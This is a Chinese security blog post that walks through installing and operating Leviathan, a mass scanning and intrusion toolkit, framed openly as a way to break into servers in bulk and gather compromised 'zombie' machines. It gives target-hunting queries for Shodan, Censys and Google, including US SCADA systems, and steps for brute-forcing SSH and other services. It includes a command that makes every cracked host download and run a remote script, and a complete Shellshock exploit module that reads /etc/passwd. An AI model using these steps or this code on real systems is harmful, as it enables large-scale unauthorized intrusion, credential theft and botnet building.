freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

黑帽子武器库-----Leviathan
2021-09-08 11:45:15

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

大家好,我是铁汉fhoenix。最近在万维网虚度年华的时候又找到了一个黑帽子的武器-leviathan,Leviathan 是一个广泛的大规模审计工具包,具有广泛的服务发现、暴力破解、SQL 注入检测和运行自定义漏洞利用功能。 它包含开源工具,例如 masscan、ncrack、dsss,并为您提供组合使用它们的灵活性。

就是自动寻找你所要的服务器然后批量入侵。

安装

git clone https://github.com/bla.git

cd leviathan

pip install -r requirements.txt

官方是这样说的,但是我发现没法运行,官方说scripts/debian_install.sh目录下运行安装程序,但是我发现明显有问题,后来我进行手动安装:

安装先决条件:

apt-get update

sudo apt-get -y install python python-pip git gcc make libpcap-dev build-essential checkinstall libssl-dev libssh-dev libffi-dev python-dev

通过克隆 Git 存储库下载利维坦:

git clone https://github.com/bla.git

进入文件夹

cd leviathan

安装masscan:

git clone https://github.com/robertdavidgraham/masscan

cd masscan

make

cp bin/masscan /usr/bin/

安装破解:

cd ..

wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz

tar -xzf ncrack-0.5.tar.gz

cd ncrack-0.5

./configure

make

sudo make install

安装所需的 Python 库:

pip install -r requirements.txt

如果实在不行你可以用blackarch,他直接给你集成好了

blackarch万岁!!!!!!

配置google,censys,shodan秘钥

运行程序:

python leviathan.py

在主菜单中,按

4

访问配置菜单。

现在,您需要通过在菜单中选择相应的编号来填写每个部分(Google API Key、Google CSE ID、Censys UID、Censys Secret、Shodan API Key)

我顺便把地址写上

Leviathan 需要 API 密钥才能工作。 从 Google 检索 URL 来检测 SQL 注入漏洞需要, Google 自定义搜索 API。 根据给定的查询检索 IP 地址需要 Censys 和 Shodan API。

生成“Google 自定义搜索”键

需要生成两件事:Google API Key、Custom Search Engine id

谷歌 API 密钥:

导航到 API 控制台中的“凭据页面”: https://console.developers.google.com/apis/credentials

单击创建凭据 > API 密钥(如果您之前没有任何项目,请先创建一个项目。之后您将能够生成 API 密钥。)

将您的 API 密钥复制到本地磁盘

自定义搜索引擎 ID:

导航到 https://cse.google.com/cse/ 并点击“创建自定义搜索引擎”

在“要搜索的网站”部分,只需 输入 www.anyurl.com 即可跳过此屏幕。 我们稍后会删除它。

在“搜索引擎名称”框中输入搜索引擎的名称。

点击“创建”按钮

单击与“修改搜索引擎”标签位于同一行的“控制面板”按钮。

在“基本”选项卡中,找到“要搜索的站点”部分。 选择“搜索整个网络但强调包含的网站”。 在下拉列表中。 另外,选中“www.anyurl.com”上的复选框,然后单击“删除”按钮。

单击页面底部的“更新”按钮。

在“基本”选项卡下找到“详细信息”标签。 单击“搜索引擎 ID”按钮。

将您的搜索引擎 ID 复制

censys

在 注册一个帐户 https://censys.io/register

登录后,导航到 https://censys.io/account

将 API ID、Secret 复制

shodan

在 注册一个帐户 https://account.shodan.io/register

登录后导航到 https://account.shodan.io/

将您的 API 密钥复制

注意 :Shodan 的免费 api 密钥不咋地。 如果你想搞到更多肉鸡,你必须付点钱。。

搜索菜单

使用 Shodan

Shodan 模块将您通过 Shodan 的 API 提取预先发现的机器。

自动查询

在“自动查询”部分,您可以通过提供国家代码和服务类型来生成 Shodan 搜索查询和查找机器。 以下示例显示了如何收集在土耳其运行 SSH 的 IP 地址。

输入国家代码 : TR

输入协议 :ssh

自定义查询

在本节中,您可以编写自己的 Shodan 查询。 有关语法,请访问此处: : https //www.shodan.io/

以下示例显示了如何收集在伊斯坦布尔运行 Apache 的 IP 地址:

apache city:"Istanbul"

使用 Censys

Censys 模块将您通过 Censys 的 API 提取预先发现的机器。

自动查询

在“自动查询”部分,您可以通过提供国家代码和服务类型来生成 Censys 搜索查询并查找机器。 以下示例显示了如何收集在土耳其运行 SSH 的 IP 地址。

输入国家代码 : TR

输入协议 :ssh

自定义查询

在本节中,您可以编写自己的 Shodan 查询。 有关语法,请访问此处: : https //censys.io/

以下示例显示了如何收集美国 SCADA 系统的 IP 地址:

location.country_code: US and tags: scada

使用质量扫描

使用 masscan,您可以发现运行特定服务的 IP 范围内的设备。 以下示例显示了如何收集在 83.49.0.0/16 范围内运行 SSH 的 IP 地址。

输入 IP 范围 :83.49.0.0/16

输入协议 :ssh

使用网络扫描仪

Web Scanner 模块允许您使用给定的 dork 从 Google 中提取 URL。

自动dork

在“自动dork”部分,您可以通过提供国家代码和域扩展名来创建dork。 以下示例显示了如何收集具有edu.tr域扩展。 (:inurl:.php?id= inurl:edu.tr)

输入国家代码 :tr

输入域名后缀 :edu

定制dork

在本节中,您可以输入自己的 dork。 例如:

输入你的傻瓜 intitle:EyesOfNetwork intext:"sponsored by AXIANS"

图:

如何查询你搜索到的ip

发现的设备

要检查发现的设备,请在资产菜单中选择选项 1(显示发现的机器)。

您可以通过提供协议来检查它们,也可以检查所有发现的机器。 格式将类似于以下示例:


ID:8275412 | Protocol:ssh | Method:censys | Date:Mon Apr 10 16:47:31 2017
ID:6939827 | Protocol:ftp | Method:masscan | Date:Mon Apr 3 14:22:51 2017

之后,您可以通过输入他们的 ID 来查看他们的预览。

受损设备

要检查受感染的设备,请在“资产”菜单中选择选项 2(显示受感染的机器)。

您可以通过提供协议来检查它们,也可以检查所有受感染的机器。 格式将类似于以下示例:

ID:8275412 | Protocol:ssh | Method:ncrack | Date:Mon Apr 10 16:47:31 2017
ID:7663334 | Protocol:web | Method:dsss | Date:Tue Apr 4 10:52:18 2017

之后,您可以通过输入他们的 ID 来查看他们的预览。

攻击!

在 Attack 模块中,您可以对 Discovery 模块中发现的目标进行特定攻击。 如果您没有发现任何目标,则无法进行攻击。 请访问“发现”页面。

成功的攻击被保存在/assets/compromised文件夹格式如下:

compromisemethod_service_discoveryid.txt

例子:ncrack_ssh_8593212.txt

使用Brute Force

在“蛮力”部分,您可以对以下协议进行蛮力攻击:ftp、ssh、telnet、rdp、mysql。 将用于蛮力攻击的词表列在下面/config/wordlists文件夹。 如果您想使用不同的组合,您可以编辑它们。

成功的蛮力攻击以以下格式保存:

username:password:IP_ADDRESS

例如:root:123456:1.1.1.1

通过发现 ID 进行攻击

在本节中,您可以通过提供发现 ID 来运行蛮力攻击。 要获取扫描的发现 ID,请访问“资产”菜单。 例如,您使用 Censys 为 ssh 服务运行扫描。 转到“资产”菜单并按照以下菜单操作:“显示发现的机器”->“ssh”它会列出如下内容:

ID:8275412 | Protocol:ssh | Method:censys | Date:Mon Apr 10 16:47:31 2017

复制 ID 部分 (8275412) 并在发现 ID 的蛮力/攻击中使用它。 利维坦会自动对发现的人进行蛮力攻击。 IP 地址。

通过协议攻击所有发现的机器

网页(SQL注入)

在本节中,您可以在预先发现的 URL 上搜索 SQL 注入漏洞。 如果目标 URL 容易受到 SQL 注入攻击,Leviathan 会将 URL 保存在/assets/compromised上面写的文件夹。

与蛮力部分相同,您有两个选项可以继续:

1)通过发现ID攻击

2)攻击所有发现的机器

细节与brute部分相同。

运行自定义漏洞利用

可用的漏洞利用位于/lib/exploits文件夹。 如果你想实现你自己的exploit,你需要把它放在那个目录下。 有关编写自定义漏洞的更多信息,请访问“编写自定义漏洞”页面。

要运行集成漏洞利用,请访问Attack然后Custom Exploit主菜单部分。 在这里,您需要提供目标的发现 ID。 如果您没有关于发现 ID 的信息,请访问“资产”部分。

提供发现 ID 后,您需要选择将针对目标运行的漏洞利用。 输入漏洞利用名称(例如:shellshock) 并按回车键。

执行远程命令

在“运行远程​​命令”部分,您可以在受感染的机器上远程执行命令。 您需要在 Brute Force 部分破解 SSH 密码才能使用此部分。

与 Brute Force 和 Web 部分相同,您有两个选项可以继续:

1)通过发现ID运行命令

2)在所有发现的机器上运行命令

获取发现 ID 和详细信息在 Brute Force 部分进行了说明。

以下示例显示如何在所有破解的 ssh 服务上运行命令(仅支持 Unix Bash 命令)

- 在菜单中选择选项 2-

输入您的命令 wget http://utkusen.com/s.pl && chmod +x s.pl && ./s.pl

图:

再来几张!

自定义漏洞利用模块编写

这里我就直接照抄了哈

介绍

在“自定义漏洞利用”模块中,您可以利用自定义漏洞利用发现模块中发现的目标。 如果您没有发现任何目标,则无法利用它们。 请访问“发现”页面。

可用的漏洞利用位于/lib/exploits文件夹。 如果你想实现你自己的exploit,你需要把它放在那个目录下。

编写自己的漏洞利用程序

漏洞利用是用 Python 2.7 版编写的。

辅助函数

发现解析

要解析预先发现的目标,您需要导入discovery_parse功能来自lib/utils.py

from lib.utils import discovery_parse

discovery_parse 函数采用发现 id(string) 并以列表格式返回其中的元素(IP 或 URL)。

例如censys_ssh_28381923.txt其中包含以下目标:

192.168.1.5
192.168.1.89

打电话discovery_parse("28381923")将返回:

['192.168.1.5','192.168.1.89']

您可以在循环中针对列表中的这些目标运行您的漏洞利用代码。

保存

为了保存成功利用的目标,您需要导入compromise_save功能来自lib/utils.py

from lib.utils import compromise_save

妥协_保存函数需要 3 个参数:discovery_id,exploit_name,asset_list并在下面创建一个文件/assets/compromised其中包括以下文件名中成功利用的目标:“custom_exploitname_discoveryid.txt” 例如:“custom_struts_2849312.txt”

discovery_id :您可以使用用户提供的初始值。

exploit_name :它的开发的通用名称。 仅使用字母数字字符。 例如:“支柱”

asset_list :您需要将成功利用的目标附加到列表中。compromise_save将它们循环写入文本文件。

所需功能

show_desc

需要此功能来在菜单上显示有关漏洞利用的基本信息。 您的函数需要返回一个信息字符串。 例如:

def show_desc():
    return "Shellshock Remote Code Execution (CVE-2014-6271)"

exploit

这是您的代码将有效负载发送到目标的部分。 它返回目标的响应

action

-action 函数需要采用 7 位整数的“discovery_id”。

def action(discovery_id)

- 你需要打电话discovery_parse功能与discovery_id值以获取目标 URL 或 IP 地址。

urllist = discovery_parse(discovery_id)

-对于每个网址urllist, 称呼exploit功能

for url in urllist:
        response = exploit(url, "cat /etc/passwd/")

- 如果漏洞利用成功,则将 URL/IP 附加到列表中。

successful_urls.append(url)

- 完成所有目标后,使用compromise_save 函数保存成功的url

if successful_urls: #if not empty        
        compromise_save(discovery_id, exploit_name, successful_urls)

示例漏洞

以下漏洞利用是为了识别 Shellshock 漏洞而编写的。

from lib.utils import discovery_parse,compromise_save
import sys
import urllib2

exploit_name = "shellshock" #this goes to file name

#Tries to exploit given url with given command. Returns servers response.

def exploit(url, command):
    response = ""
    opener = urllib2.build_opener()
    opener.addheaders = [('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; ' + command)]
    try:
        response = opener.open(url)
    except:
        pass  
    return response

#Most of things are done in this function. It parses targets with given discovery id
#checks if exploit is successful, appends successful ones to list and saves them with
#compromise_save function

def action(discovery_id):
    successful_urls = []
    urllist = discovery_parse(discovery_id)
    print urllist
    for url in urllist:
        response = exploit(url, "cat /etc/passwd/")
        try:
            if "root" in response:
                successful_urls.append(url)
                print "Vulnerable! " + url
        except:
            pass
    if successful_urls:        
        compromise_save(discovery_id, exploit_name, successful_urls)

def show_desc():
    return "Shellshock Remote Code Execution (CVE-2014-6271)"

拓展

我对ddos攻击的见解以及ufonet和大名鼎鼎的mirai分布式拒绝服务攻击工具的介绍

https://www.freebuf.com/articles/paper/281898.html

简单的僵尸网络

https://www.freebuf.com/articles/web/284107.html

僵尸网络工具voodoo clrcle

https://www.freebuf.com/articles/web/285868.html

sql手工注入以及sqlmap绕过

https://www.freebuf.com/articles/web/285240.html

关于metasploit的木马免杀,维持以及进程迁移

https://www.freebuf.com/sectool/282737.html

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

好了今天的内容就到这里,希望对你有帮助,再见

# SQL注入 # 僵尸网络 # ddos攻击 # 肉鸡 # 批量
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录